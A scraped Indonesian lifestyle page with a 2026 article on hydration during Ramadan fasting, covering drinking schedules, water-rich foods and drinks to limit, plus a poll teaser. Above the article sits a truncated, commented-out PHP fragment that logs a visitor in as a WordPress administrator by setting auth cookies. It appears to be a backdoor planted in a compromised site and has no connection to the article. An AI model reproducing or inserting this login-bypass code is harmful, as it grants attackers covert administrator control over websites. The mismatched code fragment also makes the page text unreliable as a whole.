user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Health & Diet
Air Cukup, Puasa Lancar

20 Feb 2026

Segelas air putih dan buah-buahan tinggi kandungan air sebagai simbol hidrasi sehat selama Ramadan. Foto ilustrasi: Canva


Selama puasa, tubuh tetap bekerja seperti biasa, dan butuh cairan. Ketika asupan cairan kurang terkelola dengan baik, dampaknya pun lama-lama terasa–fokus menurun, badan mudah lelah, hingga kepala terasa berat. 

Karena itu, banyak panduan gizi menyarankan agar minum air selama Ramadan dilakukan secara bertahap, bukan sekaligus, supaya tubuh punya waktu menyerap cairan dengan optimal dari waktu berbuka hingga sahur.


Strategi cerdas atur asupan air

Menjaga asupan air selama Ramadan bukan sekadar soal berapa gelas yang diminum, tapi juga kapan dan bagaimana caranya. Salah satu pola yang cukup populer adalah metode 2-4-2, yaitu dua gelas saat berbuka, empat gelas di sela waktu makan malam hingga sebelum tidur, lalu dua gelas saat sahur. Pola ini membantu tubuh mendapatkan cairan secara merata tanpa rasa begah.

Cara minum pun berpengaruh. Alih-alih menenggak air dalam jumlah besar saat berbuka, menyesap perlahan justru lebih bersahabat bagi tubuh. Minum terlalu cepat bisa membuat perut terasa penuh dan cairan lebih cepat keluar, sementara minum sedikit demi sedikit memberi kesempatan tubuh menyerap air dengan lebih baik.

Asupan cairan juga tak selalu harus datang dari air putih. Buah dan sayuran dengan kandungan air tinggi seperti mentimun, semangka, jeruk, tomat, hingga sayuran hijau bisa jadi bantuan ekstra untuk menjaga hidrasi. Sup, kaldu, dan yogurt pun termasuk pilihan yang ringan, mudah dicerna, dan pas disantap saat berbuka maupun sahur.

Advertisement
Waktu sahur menjadi momen penting untuk menyiapkan tubuh menghadapi puasa seharian. Minum air secukupnya membantu menjaga keseimbangan cairan, namun pilihan menu pendamping juga perlu diperhatikan agar tidak memicu rasa haus berlebihan di siang hari.


Minuman dan makanan yang perlu dibatasi

Tak semua minuman terasa segar berarti baik untuk hidrasi. Minuman berkafein seperti kopi, teh, dan soda cenderung bersifat diuretik, yang membuat tubuh lebih cepat kehilangan cairan. Konsumsinya sebaiknya dikurangi, terutama menjelang sahur.

Makanan yang terlalu asin atau pedas juga bisa menjadi jebakan saat puasa. Acar, camilan olahan, dan lauk tinggi garam berpotensi membuat tenggorokan cepat kering dan tubuh lebih mudah haus sepanjang hari.

Begitu pula dengan minuman manis. Meski terlihat menggoda saat berbuka, jus kemasan dan soda dengan kandungan gula tinggi tidak menghidrasi tubuh seefektif air putih. Untuk kebutuhan cairan harian, air tetap menjadi pilihan utama.

Soal suhu, air dengan temperatur ruang atau suam-suam kuku cenderung lebih ramah bagi pencernaan, terutama saat berbuka. Jika bosan dengan rasa air putih, infused water dengan tambahan lemon, daun mint, atau irisan mentimun bisa jadi alternatif segar tanpa tambahan gula.

Secara umum, kebutuhan cairan selama Ramadan berada di kisaran 6-8 gelas per hari, disesuaikan dengan aktivitas dan kondisi tubuh. Dengan membagi waktu minum sejak berbuka hingga sahur, tubuh tetap terasa segar dan puasa pun bisa dijalani dengan lebih nyaman. (f)
 

Laili Damayanti


Topic

#RamadanSehat, #PuasaTetapFit, #ramadan

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?